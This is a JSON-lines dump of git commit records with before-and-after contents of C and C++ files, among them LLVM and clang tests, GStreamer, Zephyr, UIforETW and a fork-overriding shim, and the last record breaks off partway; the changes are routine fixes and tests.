{"commit":"1f2f31493e8bc97cdb9a9ff36c788503aec5718d","old_file":"test\/FrontendC\/2009-03-09-WeakDeclarations-1.c","new_file":"test\/FrontendC\/2009-03-09-WeakDeclarations-1.c","old_contents":"","new_contents":"\/\/ RUN: $llvmgcc $test -c -o \/dev\/null |& \\\n\/\/ RUN: egrep {(14|15|22): warning:} |\t\\\n\/\/ RUN: wc -l | grep --quiet 3\n\/\/ TARGET: *-*-darwin\n\/\/ XFAIL: alpha|ia64|sparc\n\/\/ END.\n\/\/ Insist upon warnings for inappropriate weak attributes.\n\/\/ Note the line numbers (14|15|22) embedded in the check.\n\n\/\/ O.K.\nextern int ext_weak_import __attribute__ ((__weak_import__));\n\n\/\/ These are inappropriate, and should generate warnings:\nint decl_weak_import __attribute__ ((__weak_import__));\nint decl_initialized_weak_import __attribute__ ((__weak_import__)) = 13;\n\n\/\/ O.K.\nextern int ext_f(void) __attribute__ ((__weak_import__));\n\n\/\/ These are inappropriate, and should generate warnings:\nint def_f(void) __attribute__ ((__weak_import__));\nint __attribute__ ((__weak_import__)) decl_f(void) {return 0;};\n","subject":"Check for warnings about inappropriate weak_imports. Darwin-specific; marked XFAIL for others.","message":"Check for warnings about inappropriate weak_imports.\nDarwin-specific; marked XFAIL for others.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@66514 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap"}
{"commit":"a5070fe2e9a42563db382217c27c6e4d75a26458","old_file":"tests\/regression\/06-symbeq\/33-symb_accfun.c","new_file":"tests\/regression\/06-symbeq\/33-symb_accfun.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated[+] \"'var_eq'\"  --set ana.activated[+] \"'symb_locks'\"\n#include <stdlib.h>\n#include <pthread.h>\n\ntypedef struct { int myint; pthread_mutex_t mymutex; } mystruct;\n\nvoid acc(mystruct *s) { s->myint=s->myint+1; } \/\/ NORACE\n\nvoid *foo(void *arg) {\n  mystruct *s = (mystruct *) arg;\n\n  pthread_mutex_lock(&s->mymutex);\n  acc(s);\n  pthread_mutex_unlock(&s->mymutex);\n\n  return NULL;\n}\n\nint main() {\n  mystruct *s = (mystruct *) malloc(sizeof(*s));\n  pthread_mutex_init(&s->mymutex, NULL);\n\n  pthread_t id1, id2;\n  pthread_create(&id1, NULL, foo, s);\n  pthread_create(&id2, NULL, foo, s);\n  pthread_join(id1, NULL);\n  pthread_join(id2, NULL);\n}\n","subject":"Add symb_locks test for access in function","message":"Add symb_locks test for access in function\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"d0fbd28a7230f6500a19f5cf6216f18eef07d1d9","old_file":"src\/scenarios\/base.h","new_file":"src\/scenarios\/base.h","old_contents":"#pragma once\n\n#include <vector>\n#include <memory>\n\n#include <boost\/noncopyable.hpp>\n#include <boost\/property_tree\/ptree.hpp>\n#include <boost\/lexical_cast.hpp>\n#include <boost\/iterator\/transform_iterator.hpp>\n\n#include \"..\/factory.h\"\n#include \"..\/visualisation.h\"\n#include \"..\/agents.h\"\n\nnamespace scenarios {\n\nclass base : public boost::noncopyable {\n\tpublic:\n\t\tvirtual ~base() {};\n\n\t\tvirtual agents apply(const agents& source) const = 0;\n};\n\ntemplate<typename DERIVED>\nclass scenario : public base {\n\tpublic:\n\t\tscenario(const boost::property_tree::ptree& config);\n\t\tvirtual ~scenario() override;\n\n\tprotected:\n\tprivate:\n\t\tstatic factory<base, boost::property_tree::ptree>::registration<DERIVED> s_factory;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ntemplate<typename DERIVED>\nfactory<base, boost::property_tree::ptree>::registration<DERIVED> scenario<DERIVED>::s_factory;\n\ntemplate<typename DERIVED>\nscenario<DERIVED>::scenario(const boost::property_tree::ptree& config) {\n}\n\ntemplate<typename DERIVED>\nscenario<DERIVED>::~scenario() {\n\t\/\/ a dummy statement to make sure the factory doesn't get optimized away by GCC\n\tboost::lexical_cast<std::string>(&s_factory);\n}\n\n}\n","new_contents":"#pragma once\n\n#include <vector>\n#include <memory>\n\n#include <boost\/noncopyable.hpp>\n#include <boost\/property_tree\/ptree.hpp>\n#include <boost\/lexical_cast.hpp>\n#include <boost\/iterator\/transform_iterator.hpp>\n\n#include \"..\/factory.h\"\n#include \"..\/visualisation.h\"\n#include \"..\/agents.h\"\n\nnamespace scenarios {\n\nclass base : public boost::noncopyable {\n\tpublic:\n\t\tbase(const boost::property_tree::ptree& config) {}\n\t\tvirtual ~base() {};\n\n\t\tvirtual agents apply(const agents& source) const = 0;\n};\n\ntemplate<typename DERIVED, typename BASE = base>\nclass scenario : public BASE {\n\tpublic:\n\t\tscenario(const boost::property_tree::ptree& config);\n\t\tvirtual ~scenario() override;\n\n\tprotected:\n\tprivate:\n\t\tstatic factory<base, boost::property_tree::ptree>::registration<DERIVED> s_factory;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ntemplate<typename DERIVED, typename BASE>\nfactory<base, boost::property_tree::ptree>::registration<DERIVED> scenario<DERIVED, BASE>::s_factory;\n\ntemplate<typename DERIVED, typename BASE>\nscenario<DERIVED, BASE>::scenario(const boost::property_tree::ptree& config) : BASE(config) {\n}\n\ntemplate<typename DERIVED, typename BASE>\nscenario<DERIVED, BASE>::~scenario() {\n\t\/\/ a dummy statement to make sure the factory doesn't get optimized away by GCC\n\tboost::lexical_cast<std::string>(&s_factory);\n}\n\n}\n","subject":"Allow scenarios inheritance for scenarios::scenario template","message":"Allow scenarios inheritance for scenarios::scenario template\n","lang":"C","license":"mit","repos":"martin-pr\/group_motion_editing,martin-pr\/group_motion_editing"}
{"commit":"3a50d847e098f36e3bf8bc14eea07a6cc35f7803","old_file":"test\/FixIt\/fixit-errors-1.c","new_file":"test\/FixIt\/fixit-errors-1.c","old_contents":"\/\/ RUN: cp %s %t\n\/\/ RUN: %clang_cc1 -pedantic -fixit %t\n\/\/ RUN: echo %clang_cc1 -pedantic -Werror -x c %t\n\n\/* This is a test of the various code modification hints that are\n   provided as part of warning or extension diagnostics. All of the\n   warnings will be fixed by -fixit, and the resulting file should\n   compile cleanly with -Werror -pedantic. *\/\n\n\/\/ FIXME: If you put a space at the end of the line, it doesn't work yet!\nchar *s = \"hi\\\nthere\";\n\n\/\/ The following line isn't terminated, don't fix it.\nint i; \/\/ expected-error{{no newline at end of file}}\n","new_contents":"\/\/ RUN: cp %s %t\n\/\/ RUN: %clang_cc1 -pedantic -fixit %t\n\/\/ RUN: %clang_cc1 -pedantic -Werror -x c %t\n\n\/* This is a test of the various code modification hints that are\n   provided as part of warning or extension diagnostics. All of the\n   warnings will be fixed by -fixit, and the resulting file should\n   compile cleanly with -Werror -pedantic. *\/\n\n\/\/ FIXME: If you put a space at the end of the line, it doesn't work yet!\nchar *s = \"hi\\\nthere\";\n\n\/\/ The following line isn't terminated, don't fix it.\nint i; \/\/ expected-error{{no newline at end of file}}\n","subject":"Fix test to actually check the FixIt-applied code","message":"Fix test to actually check the FixIt-applied code\n\nr102230 added an 'echo' making this a no-op.\n\nAlso fixes FAIL on native Windows with no shell\/GnuWin32.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@193938 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"bdb6a9aeec6ae5f94d7a9abe17fc78f6eefa0dc0","old_file":"gst\/glib-compat-private.h","new_file":"gst\/glib-compat-private.h","old_contents":"\/*\n * glib-compat.c\n * Functions copied from glib 2.10\n *\n * Copyright 2005 David Schleef <ds@schleef.org>\n *\/\n\n#ifndef __GLIB_COMPAT_PRIVATE_H__\n#define __GLIB_COMPAT_PRIVATE_H__\n\n#include <glib.h>\n\nG_BEGIN_DECLS\n\n#if !GLIB_CHECK_VERSION(2,25,0)\ntypedef struct stat GStatBuf;\n#endif\n\n#if GLIB_CHECK_VERSION(2,26,0)\n#define GLIB_HAS_GDATETIME\n#endif\n\n\/* copies *\/\n\n\/* adaptations *\/\n\nG_END_DECLS\n\n#endif\n","new_contents":"\/*\n * glib-compat.c\n * Functions copied from glib 2.10\n *\n * Copyright 2005 David Schleef <ds@schleef.org>\n *\/\n\n#ifndef __GLIB_COMPAT_PRIVATE_H__\n#define __GLIB_COMPAT_PRIVATE_H__\n\n#include <glib.h>\n\nG_BEGIN_DECLS\n\n#if !GLIB_CHECK_VERSION(2,25,0)\n\n#if defined (_MSC_VER) && !defined(_WIN64)\ntypedef struct _stat32 GStatBuf;\n#else\ntypedef struct stat GStatBuf;\n#endif\n\n#endif\n\n#if GLIB_CHECK_VERSION(2,26,0)\n#define GLIB_HAS_GDATETIME\n#endif\n\n\/* copies *\/\n\n\/* adaptations *\/\n\nG_END_DECLS\n\n#endif\n","subject":"Fix GStatBuf definition for win32 when building against older glib. Now matches upstream glib definition.","message":"Fix GStatBuf definition for win32 when building against older glib.\nNow matches upstream glib definition.\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/gstreamer,ensonic\/gstreamer,magcius\/gstreamer,shelsonjava\/gstreamer,jpakkane\/gstreamer,mparis\/gstreamer,ahmedammar\/platform_external_gst_gstreamer,justinjoy\/gstreamer,cablelabs\/gstreamer,Lachann\/gstreamer,justinjoy\/gstreamer,ylatuya\/gstreamer,magcius\/gstreamer,magcius\/gstreamer,Distrotech\/gstreamer,StreamUtils\/gstreamer,collects\/gstreamer,krieger-od\/gstreamer,mparis\/gstreamer,ensonic\/gstreamer,jpxiong\/gstreamer,ylatuya\/gstreamer,cfoch\/gstreamer,surround-io\/gstreamer,ensonic\/gstreamer,surround-io\/gstreamer,lubosz\/gstreamer,mrchapp\/gstreamer,lubosz\/gstreamer,Lachann\/gstreamer,jpxiong\/gstreamer,justinjoy\/gstreamer,drothlis\/gstreamer,StreamUtils\/gstreamer,centricular\/gstreamer,krichter722\/gstreamer,lovebug356\/gstreamer,drothlis\/gstreamer,collects\/gstreamer,cfoch\/gstreamer,Distrotech\/gstreamer,ensonic\/gstreamer,surround-io\/gstreamer,lubosz\/gstreamer,shelsonjava\/gstreamer,lovebug356\/gstreamer,mparis\/gstreamer,centricular\/gstreamer,justinjoy\/gstreamer,ahmedammar\/platform_external_gst_gstreamer,krieger-od\/gstreamer,cablelabs\/gstreamer,StreamUtils\/gstreamer,ylatuya\/gstreamer,cfoch\/gstreamer,centricular\/gstreamer,StreamUtils\/gstreamer,centricular\/gstreamer,jpakkane\/gstreamer,lovebug356\/gstreamer,cablelabs\/gstreamer,mrchapp\/gstreamer,ahmedammar\/platform_external_gst_gstreamer,krichter722\/gstreamer,ylatuya\/gstreamer,drothlis\/gstreamer,cfoch\/gstreamer,krieger-od\/gstreamer,mparis\/gstreamer,surround-io\/gstreamer,drothlis\/gstreamer,ylatuya\/gstreamer,surround-io\/gstreamer,lovebug356\/gstreamer,Lachann\/gstreamer,shelsonjava\/gstreamer,jpxiong\/gstreamer,ahmedammar\/platform_external_gst_gstreamer,collects\/gstreamer,mrchapp\/gstreamer,StreamUtils\/gstreamer,krieger-od\/gstreamer,mparis\/gstreamer,Lachann\/gstreamer,lovebug356\/gstreamer,cfoch\/gstreamer,mrchapp\/gstreamer,collects\/gstreamer,cablelabs\/gstreamer,jpxiong\/gstreamer,lubosz\/gstreamer,magcius\/gstreamer,krieger-od\/gstreamer,lubosz\/gstreamer,Lachann\/gstreamer,shelsonjava\/gstreamer,collects\/gstreamer,drothlis\/gstreamer,krichter722\/gstreamer,ahmedammar\/platform_external_gst_gstreamer,ensonic\/gstreamer,krichter722\/gstreamer,mrchapp\/gstreamer,krichter722\/gstreamer,jpxiong\/gstreamer,Distrotech\/gstreamer,magcius\/gstreamer,shelsonjava\/gstreamer,jpakkane\/gstreamer,jpakkane\/gstreamer,cablelabs\/gstreamer,jpakkane\/gstreamer,Distrotech\/gstreamer,centricular\/gstreamer,justinjoy\/gstreamer"}
{"commit":"ffc1ab98c729f425243bc5e3cab8110f2c5abc32","old_file":"tests\/ctests\/error_large_literal.c","new_file":"tests\/ctests\/error_large_literal.c","old_contents":"","new_contents":"int main() {\n  \/\/ Issue: 3: error: integer literal too large to be represented by any integer type\n  1000000000000000000000000000;\n}\n","subject":"Add test for large integers","message":"Add test for large integers\n","lang":"C","license":"mit","repos":"ShivamSarodia\/ShivyC,ShivamSarodia\/ShivyC,ShivamSarodia\/ShivyC"}
{"commit":"d85f6007cddb22af28640298a9c73a3a6bb4d514","old_file":"include\/ofp\/actionid.h","new_file":"include\/ofp\/actionid.h","old_contents":"\/\/ Copyright 2014-present Bill Fisher. All rights reserved.\n\n#ifndef OFP_ACTIONID_H_\n#define OFP_ACTIONID_H_\n\n#include \"ofp\/constants.h\"\n#include \"ofp\/actiontype.h\"\n\nnamespace ofp {\n\nclass ActionID {\n public:\n public:\n  enum {\n    ProtocolIteratorSizeOffset = sizeof(OFPActionType),\n    ProtocolIteratorAlignment = 4\n  };\n\n  explicit ActionID(OFPActionType type = OFPAT_OUTPUT, UInt32 experimenter = 0)\n      : type_(type, type == OFPAT_EXPERIMENTER ? 8U : 4U),\n        experimenter_{experimenter} {}\n\n  explicit ActionID(ActionType type, UInt32 experimenter = 0)\n      : ActionID{type.enumType(), experimenter} {}\n\n  ActionType type() const { return type_.zeroLength(); }\n  UInt32 experimenter() const { return experimenter_; }\n\n private:\n  ActionType type_;\n  Big32 experimenter_;\n\n  size_t length() const { return type_.length(); }\n\n  friend class ActionIDList;\n};\n\n}  \/\/ namespace ofp\n\n#endif  \/\/ OFP_ACTIONID_H_\n","new_contents":"\/\/ Copyright 2014-present Bill Fisher. All rights reserved.\n\n#ifndef OFP_ACTIONID_H_\n#define OFP_ACTIONID_H_\n\n#include \"ofp\/constants.h\"\n#include \"ofp\/actiontype.h\"\n\nnamespace ofp {\n\nclass ActionID {\n public:\n  enum {\n    ProtocolIteratorSizeOffset = sizeof(OFPActionType),\n    ProtocolIteratorAlignment = 4\n  };\n\n  explicit ActionID(OFPActionType type = OFPAT_OUTPUT, UInt32 experimenter = 0)\n      : type_(type, type == OFPAT_EXPERIMENTER ? 8U : 4U),\n        experimenter_{experimenter} {}\n\n  explicit ActionID(ActionType type, UInt32 experimenter = 0)\n      : ActionID{type.enumType(), experimenter} {}\n\n  ActionType type() const { return type_.zeroLength(); }\n  UInt32 experimenter() const { return experimenter_; }\n\n private:\n  ActionType type_;\n  Big32 experimenter_;\n\n  size_t length() const { return type_.length(); }\n\n  friend class ActionIDList;\n};\n\n}  \/\/ namespace ofp\n\n#endif  \/\/ OFP_ACTIONID_H_\n","subject":"Remove extra public access modifier.","message":"Remove extra public access modifier.\n","lang":"C","license":"mit","repos":"byllyfish\/libofp,byllyfish\/libofp,byllyfish\/oftr,byllyfish\/oftr,byllyfish\/libofp,byllyfish\/oftr,byllyfish\/oftr,byllyfish\/oftr"}
{"commit":"95d84862445bd79fe523ffd1091d1bd55b7024af","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.44f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.45f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","subject":"Increase version to 1.44 in preparation for new release","message":"Increase version to 1.44 in preparation for new release\n","lang":"C","license":"apache-2.0","repos":"ariccio\/UIforETW,ariccio\/UIforETW,MikeMarcin\/UIforETW,MikeMarcin\/UIforETW,google\/UIforETW,mwinterb\/UIforETW,google\/UIforETW,ariccio\/UIforETW,mwinterb\/UIforETW,google\/UIforETW,google\/UIforETW,mwinterb\/UIforETW,ariccio\/UIforETW,MikeMarcin\/UIforETW"}
{"commit":"af0b5cf70b1f96c329ef66c654d69847d8029c02","old_file":"platform\/stm32\/templates\/f3\/stm32f3-discovery\/board.conf.h","new_file":"platform\/stm32\/templates\/f3\/stm32f3-discovery\/board.conf.h","old_contents":"#include <stm32f3discovery.conf.h>\n\nCONFIG {\n\tuarts[1].status = ENABLED;\n}\n","new_contents":"#include <stm32f3discovery.conf.h>\n\nCONFIG {\n\tuarts[1].status = ENABLED;\n\n\tleds[0].status = ENABLED;\n\tleds[1].status = ENABLED;\n\tleds[2].status = ENABLED;\n\tleds[3].status = ENABLED;\n\tleds[4].status = ENABLED;\n\tleds[5].status = ENABLED;\n\tleds[6].status = ENABLED;\n\tleds[7].status = ENABLED;\n}\n","subject":"Add LEDs enable to platform\/stm32\/f3\/stm32f3-discovery\/","message":"templates: Add LEDs enable to platform\/stm32\/f3\/stm32f3-discovery\/\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"dfa3930196159638c475d37a89a7e0e5b395d92a","old_file":"include\/mgmt\/mcumgr\/zephyr_groups.h","new_file":"include\/mgmt\/mcumgr\/zephyr_groups.h","old_contents":"\/*\n * Copyright (c) 2021 Nordic Semiconductor ASA\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n#ifndef ZEPHYR_INCLUDE_ZEPHYR_MCUMGR_GRP_H_\n#define ZEPHYR_INCLUDE_ZEPHYR_MCUMGR_GRP_H_\n\n#include <kernel.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* The file contains definitions of Zephyr specific mgmt commands *\/\n\n#define ZEPHYR_MGMT_GRP_BASE\t\tMGMT_GROUP_ID_PERUSER\n\n\/* Basic group *\/\n#define ZEPHYR_MGMT_GRP_BASIC\t\tZEPHYR_MGMT_GRP_BASE\n#define ZEPHYR_MGMT_GRP_BASIC_CMD_ERASE_STORAGE\t0\t\/* Command to erase storage partition *\/\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* ZEPHYR_INCLUDE_ZEPHYR_MCUMGR_GRP_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2021 Nordic Semiconductor ASA\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n#ifndef ZEPHYR_INCLUDE_ZEPHYR_MCUMGR_GRP_H_\n#define ZEPHYR_INCLUDE_ZEPHYR_MCUMGR_GRP_H_\n\n#include <kernel.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* The file contains definitions of Zephyr specific mgmt commands. The group numbers decrease\n * from PERUSER to avoid collision with user defined groups.\n *\/\n#define ZEPHYR_MGMT_GRP_BASE\t\t(MGMT_GROUP_ID_PERUSER - 1)\n\n\/* Basic group *\/\n#define ZEPHYR_MGMT_GRP_BASIC\t\tZEPHYR_MGMT_GRP_BASE\n#define ZEPHYR_MGMT_GRP_BASIC_CMD_ERASE_STORAGE\t0\t\/* Command to erase storage partition *\/\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* ZEPHYR_INCLUDE_ZEPHYR_MCUMGR_GRP_H_ *\/\n","subject":"Fix collision with user defined groups","message":"subsys\/mgmt\/mcumgr: Fix collision with user defined groups\n\nThe commit moves definition of Zephyr specific mcumgr basic group to\nPERUSER - 1.  This has been done to avoid collision with application\nspecific groups, defined by users.\n\nSigned-off-by: Dominik Ermel <1a1d45a9cc0c98a37f8d0a0d2dbe3cacc0b2344f@nordicsemi.no>\n","lang":"C","license":"apache-2.0","repos":"galak\/zephyr,finikorg\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr,finikorg\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,zephyrproject-rtos\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr,galak\/zephyr,galak\/zephyr,galak\/zephyr"}
{"commit":"802af5afb6b869036b2bd46b8e0704f1ea2b1e47","old_file":"ExternData\/Resources\/Include\/ED_XMLFile.h","new_file":"ExternData\/Resources\/Include\/ED_XMLFile.h","old_contents":"#if !defined(ED_XMLFILE_H)\n#define ED_XMLFILE_H\n\nvoid* ED_createXML(const char* fileName);\nvoid ED_destroyXML(void* _xml);\ndouble ED_getDoubleFromXML(void* _xml, const char* varName);\nconst char* ED_getStringFromXML(void* _xml, const char* varName);\nint ED_getIntFromXML(void* _xml, const char* varName);\nvoid ED_getDoubleArray1DFromXML(void* _xml, const char* varName, double* a, size_t n);\nvoid ED_getDoubleArray2DFromXML(void* _xml, const char* varName, double* a, size_t m, size_t n);\n\n#endif\n","new_contents":"#if !defined(ED_XMLFILE_H)\n#define ED_XMLFILE_H\n\n#include <stdlib.h>\n\nvoid* ED_createXML(const char* fileName);\nvoid ED_destroyXML(void* _xml);\ndouble ED_getDoubleFromXML(void* _xml, const char* varName);\nconst char* ED_getStringFromXML(void* _xml, const char* varName);\nint ED_getIntFromXML(void* _xml, const char* varName);\nvoid ED_getDoubleArray1DFromXML(void* _xml, const char* varName, double* a, size_t n);\nvoid ED_getDoubleArray2DFromXML(void* _xml, const char* varName, double* a, size_t m, size_t n);\n\n#endif\n","subject":"Fix missing include (for size_t)","message":"Fix missing include (for size_t)\n","lang":"C","license":"bsd-2-clause","repos":"modelica-3rdparty\/ExternData,modelica-3rdparty\/ExternData,modelica-3rdparty\/ExternData,modelica-3rdparty\/ExternData"}
{"commit":"c85f8eafe16e04213d16b2ff55e7bbe7ed911d98","old_file":"nofork.c","new_file":"nofork.c","old_contents":"\/*\n * preventfork.c\n * Copyright (C) 2010 Adrian Perez <aperez@igalia.com>\n *\n * Distributed under terms of the MIT license.\n *\/\n\n#include <sys\/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <fcntl.h>\n\n\npid_t\nfork (void)\n{\n    return 0;\n}\n\n\nint\ndaemon (int nochdir, int noclose)\n{\n    if (!nochdir == 0) {\n        if (chdir (\"\/\"))\n            return -1;\n    }\n    if (!noclose) {\n        close (0);\n        if (open (\"\/dev\/null\", O_RDONLY, 0) != 0)\n            return -1;\n        close (1);\n        if (open (\"\/dev\/null\", O_WRONLY, 0) != 1)\n            return -1;\n        close (2);\n        if (dup (1) != 2)\n            return -1;\n    }\n    return 0;\n}\n\n\n","new_contents":"\/*\n * nofork.c\n * Copyright (C) 2010 Adrian Perez <aperez@igalia.com>\n *\n * Distributed under terms of the MIT license.\n *\/\n\n#include <sys\/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <fcntl.h>\n\n\npid_t\nfork (void)\n{\n    return 0;\n}\n\n\nint\ndaemon (int nochdir, int noclose)\n{\n    if (!nochdir == 0) {\n        if (chdir (\"\/\"))\n            return -1;\n    }\n    if (!noclose) {\n        close (0);\n        if (open (\"\/dev\/null\", O_RDONLY, 0) != 0)\n            return -1;\n        close (1);\n        if (open (\"\/dev\/null\", O_WRONLY, 0) != 1)\n            return -1;\n        close (2);\n        if (dup (1) != 2)\n            return -1;\n    }\n    return 0;\n}\n\n\n","subject":"Fix file name in comment header","message":"Fix file name in comment header\n","lang":"C","license":"mit","repos":"aperezdc\/dmon"}
{"commit":"e170f2bff908bd06dcbcc1b113e9365098c337f9","old_file":"cint\/include\/iosfwd.h","new_file":"cint\/include\/iosfwd.h","old_contents":"#ifndef G__IOSFWD_H\n#define G__IOSFWD_H\n#include <iostream.h>\ntypedef basic_streambuf<char, char_traits<char> > streambuf;\n#endif\n","new_contents":"#ifndef G__IOSFWD_H\n#define G__IOSFWD_H\n#include <iostream.h>\n#endif\n","subject":"Undo change proposed by Philippe. Too many side effects.","message":"Undo change proposed by Philippe. Too many side effects.\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@5468 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"sawenzel\/root,veprbl\/root,root-mirror\/root,buuck\/root,0x0all\/ROOT,pspe\/root,simonpf\/root,perovic\/root,Duraznos\/root,zzxuanyuan\/root,esakellari\/my_root_for_test,sbinet\/cxx-root,mkret2\/root,smarinac\/root,jrtomps\/root,0x0all\/ROOT,sirinath\/root,ffurano\/root5,mattkretz\/root,satyarth934\/root,mhuwiler\/rootauto,agarciamontoro\/root,pspe\/root,thomaskeck\/root,mattkretz\/root,jrtomps\/root,agarciamontoro\/root,davidlt\/root,nilqed\/root,thomaskeck\/root,cxx-hep\/root-cern,ffurano\/root5,mhuwiler\/rootauto,satyarth934\/root,beniz\/root,CristinaCristescu\/root,BerserkerTroll\/root,dfunke\/root,beniz\/root,dfunke\/root,esakellari\/root,sawenzel\/root,karies\/root,strykejern\/TTreeReader,bbockelm\/root,gganis\/root,evgeny-boger\/root,BerserkerTroll\/root,sbinet\/cxx-root,dfunke\/root,georgtroska\/root,evgeny-boger\/root,dfunke\/root,agarciamontoro\/root,lgiommi\/root,sawenzel\/root,krafczyk\/root,omazapa\/root-old,esakellari\/root,olifre\/root,alexschlueter\/cern-root,simonpf\/root,CristinaCristescu\/root,satyarth934\/root,sawenzel\/root,jrtomps\/root,omazapa\/root-old,krafczyk\/root,cxx-hep\/root-cern,davidlt\/root,root-mirror\/root,davidlt\/root,mkret2\/root,veprbl\/root,sbinet\/cxx-root,vukasinmilosevic\/root,strykejern\/TTreeReader,agarciamontoro\/root,abhinavmoudgil95\/root,mkret2\/root,zzxuanyuan\/root-compressor-dummy,karies\/root,buuck\/root,zzxuanyuan\/root,Y--\/root,davidlt\/root,thomaskeck\/root,sbinet\/cxx-root,omazapa\/root,gganis\/root,krafczyk\/root,lgiommi\/root,davidlt\/root,Duraznos\/root,smarinac\/root,krafczyk\/root,Duraznos\/root,esakellari\/root,zzxuanyuan\/root,abhinavmoudgil95\/root,gganis\/root,sawenzel\/root,agarciamontoro\/root,ffurano\/root5,beniz\/root,zzxuanyuan\/root-compressor-dummy,gbitzes\/root,strykejern\/TTreeReader,mhuwiler\/rootauto,smarinac\/root,beniz\/root,karies\/root,mkret2\/root,davidlt\/root,arch1tect0r\/root,Y--\/root,esakellari\/root,0x0all\/ROOT,abhinavmoudgil95\/root,omazapa\/root-old,cxx-hep\/root-cern,smarinac\/root,agarciamontoro\/root,omazapa\/root,pspe\/root,omazapa\/root,gganis\/root,sawenzel\/root,davidlt\/root,bbockelm\/root,esakellari\/my_root_for_test,esakellari\/root,bbockelm\/root,bbockelm\/root,esakellari\/my_root_for_test,Dr15Jones\/root,sawenzel\/root,karies\/root,sawenzel\/root,veprbl\/root,mattkretz\/root,krafczyk\/root,simonpf\/root,veprbl\/root,kirbyherm\/root-r-tools,0x0all\/ROOT,kirbyherm\/root-r-tools,cxx-hep\/root-cern,veprbl\/root,georgtroska\/root,thomaskeck\/root,esakellari\/my_root_for_test,jrtomps\/root,root-mirror\/root,arch1tect0r\/root,nilqed\/root,gganis\/root,mkret2\/root,vukasinmilosevic\/root,esakellari\/root,gbitzes\/root,omazapa\/root-old,buuck\/root,pspe\/root,BerserkerTroll\/root,mattkretz\/root,ffurano\/root5,gbitzes\/root,evgeny-boger\/root,vukasinmilosevic\/root,CristinaCristescu\/root,tc3t\/qoot,esakellari\/root,perovic\/root,zzxuanyuan\/root-compressor-dummy,buuck\/root,alexschlueter\/cern-root,pspe\/root,tc3t\/qoot,CristinaCristescu\/root,sbinet\/cxx-root,bbockelm\/root,olifre\/root,evgeny-boger\/root,sbinet\/cxx-root,buuck\/root,esakellari\/my_root_for_test,simonpf\/root,buuck\/root,esakellari\/my_root_for_test,beniz\/root,pspe\/root,ffurano\/root5,buuck\/root,vukasinmilosevic\/root,mattkretz\/root,Dr15Jones\/root,bbockelm\/root,sbinet\/